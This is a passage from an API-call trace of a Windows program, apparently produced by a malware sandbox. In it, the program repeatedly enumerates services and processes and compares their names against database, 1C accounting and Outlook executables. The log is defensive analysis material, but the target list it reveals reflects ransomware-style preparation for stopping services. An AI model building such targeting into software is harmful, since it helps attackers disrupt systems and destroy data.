hSnapshot=0x3b8, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0264.671] CloseHandle (hObject=0x3b8) returned 1 [0264.672] Sleep (dwMilliseconds=0x1f4) [0265.279] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e298 [0265.285] EnumServicesStatusExW (in: hSCManager=0x62e298, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0265.289] GetLastError () returned 0xea [0265.290] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x113e) returned 0x42e5000 [0265.290] EnumServicesStatusExW (in: hSCManager=0x62e298, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e5000, cbBufSize=0x113e, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e5000, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0265.293] CloseServiceHandle (hSCObject=0x62e298) returned 1 [0265.294] lstrlenW (lpString="Appinfo") returned 7 [0265.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0265.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0265.294] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0265.295] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0265.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0265.295] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0265.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0265.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0265.295] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0265.295] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0265.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0265.295] lstrlenW (lpString="AudioSrv") returned 8 [0265.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0265.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0265.296] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0265.296] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0265.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0265.296] lstrlenW (lpString="BFE") returned 3 [0265.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0265.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0265.296] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0265.297] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0265.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0265.297] lstrlenW (lpString="CryptSvc") returned 8 [0265.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0265.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0265.297] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0265.297] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0265.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0265.297] lstrlenW (lpString="CscService") returned 10 [0265.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0265.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0265.297] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0265.298] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0265.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0265.298] lstrlenW (lpString="DcomLaunch") returned 10 [0265.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0265.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0265.298] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0265.301] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0265.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0265.301] lstrlenW (lpString="Dhcp") returned 4 [0265.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0265.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0265.302] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0265.302] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0265.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0265.302] lstrlenW (lpString="Dnscache") returned 8 [0265.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0265.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0265.302] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0265.302] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0265.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0265.302] lstrlenW (lpString="DPS") returned 3 [0265.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0265.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0265.303] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0265.303] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0265.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0265.303] lstrlenW (lpString="eventlog") returned 8 [0265.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0265.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0265.303] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0265.303] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0265.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0265.304] lstrlenW (lpString="EventSystem") returned 11 [0265.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0265.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0265.304] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0265.304] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0265.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0265.304] lstrlenW (lpString="gpsvc") returned 5 [0265.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0265.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0265.305] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0265.305] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0265.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0265.305] lstrlenW (lpString="iphlpsvc") returned 8 [0265.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0265.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0265.305] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0265.305] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0265.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0265.305] lstrlenW (lpString="LanmanServer") returned 12 [0265.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0265.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0265.306] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0265.306] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0265.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0265.306] lstrlenW (lpString="LanmanWorkstation") returned 17 [0265.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0265.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0265.306] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0265.306] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0265.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0265.306] lstrlenW (lpString="lmhosts") returned 7 [0265.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0265.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0265.307] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0265.307] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0265.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0265.307] lstrlenW (lpString="MMCSS") returned 5 [0265.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0265.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0265.307] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0265.307] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0265.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0265.309] lstrlenW (lpString="MpsSvc") returned 6 [0265.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0265.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0265.309] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0265.309] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0265.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0265.309] lstrlenW (lpString="Netman") returned 6 [0265.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0265.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0265.310] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0265.310] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0265.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0265.310] lstrlenW (lpString="netprofm") returned 8 [0265.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0265.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0265.310] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0265.310] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0265.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0265.310] lstrlenW (lpString="NlaSvc") returned 6 [0265.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0265.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0265.311] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0265.311] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0265.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0265.311] lstrlenW (lpString="nsi") returned 3 [0265.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0265.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0265.311] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0265.311] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0265.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0265.312] lstrlenW (lpString="PcaSvc") returned 6 [0265.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0265.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0265.312] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0265.312] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0265.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0265.312] lstrlenW (lpString="PlugPlay") returned 8 [0265.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0265.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0265.313] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0265.313] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0265.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0265.313] lstrlenW (lpString="Power") returned 5 [0265.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0265.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0265.313] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0265.313] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0265.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0265.313] lstrlenW (lpString="ProfSvc") returned 7 [0265.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0265.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0265.314] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0265.314] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0265.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0265.314] lstrlenW (lpString="RpcEptMapper") returned 12 [0265.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0265.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0265.314] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0265.314] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0265.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0265.314] lstrlenW (lpString="RpcSs") returned 5 [0265.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0265.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0265.315] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0265.315] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0265.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0265.315] lstrlenW (lpString="SamSs") returned 5 [0265.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0265.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0265.315] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0265.315] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0265.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0265.316] lstrlenW (lpString="Schedule") returned 8 [0265.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0265.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0265.316] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0265.316] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0265.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0265.316] lstrlenW (lpString="SENS") returned 4 [0265.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0265.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0265.316] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0265.317] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0265.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0265.317] lstrlenW (lpString="ShellHWDetection") returned 16 [0265.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0265.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0265.317] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0265.317] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0265.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0265.317] lstrlenW (lpString="Spooler") returned 7 [0265.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0265.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0265.318] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0265.318] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0265.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0265.318] lstrlenW (lpString="SysMain") returned 7 [0265.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0265.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0265.318] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0265.318] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0265.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0265.318] lstrlenW (lpString="Themes") returned 6 [0265.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0265.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0265.319] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0265.319] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0265.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0265.320] lstrlenW (lpString="TrkWks") returned 6 [0265.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0265.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0265.320] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0265.320] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0265.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0265.320] lstrlenW (lpString="UxSms") returned 5 [0265.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0265.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0265.320] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0265.321] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0265.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0265.321] lstrlenW (lpString="WdiServiceHost") returned 14 [0265.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0265.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0265.321] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0265.321] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0265.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0265.321] lstrlenW (lpString="WdiSystemHost") returned 13 [0265.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0265.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0265.322] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0265.322] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0265.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0265.322] lstrlenW (lpString="Winmgmt") returned 7 [0265.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0265.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0265.322] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0265.322] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0265.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0265.323] lstrlenW (lpString="WPDBusEnum") returned 10 [0265.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0265.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0265.323] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0265.323] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0265.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0265.323] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42e5000 | out: hHeap=0x590000) returned 1 [0265.323] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x320 [0265.331] Process32FirstW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.332] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0265.333] lstrlenW (lpString="System") returned 6 [0265.333] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0265.333] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0265.334] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0265.334] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0265.334] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0265.334] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0265.334] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0265.494] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0265.495] lstrlenW (lpString="smss.exe") returned 8 [0265.495] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0265.495] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0265.495] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0265.495] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0265.495] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0265.495] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0265.495] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0265.496] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.496] lstrlenW (lpString="csrss.exe") returned 9 [0265.496] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0265.496] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0265.497] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0265.497] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0265.497] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0265.497] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0265.497] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0265.497] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0265.498] lstrlenW (lpString="wininit.exe") returned 11 [0265.498] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0265.498] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0265.498] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0265.498] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0265.498] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0265.498] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0265.498] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0265.499] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.499] lstrlenW (lpString="csrss.exe") returned 9 [0265.500] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0265.500] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0265.500] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0265.500] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0265.500] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0265.500] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0265.500] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0265.500] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 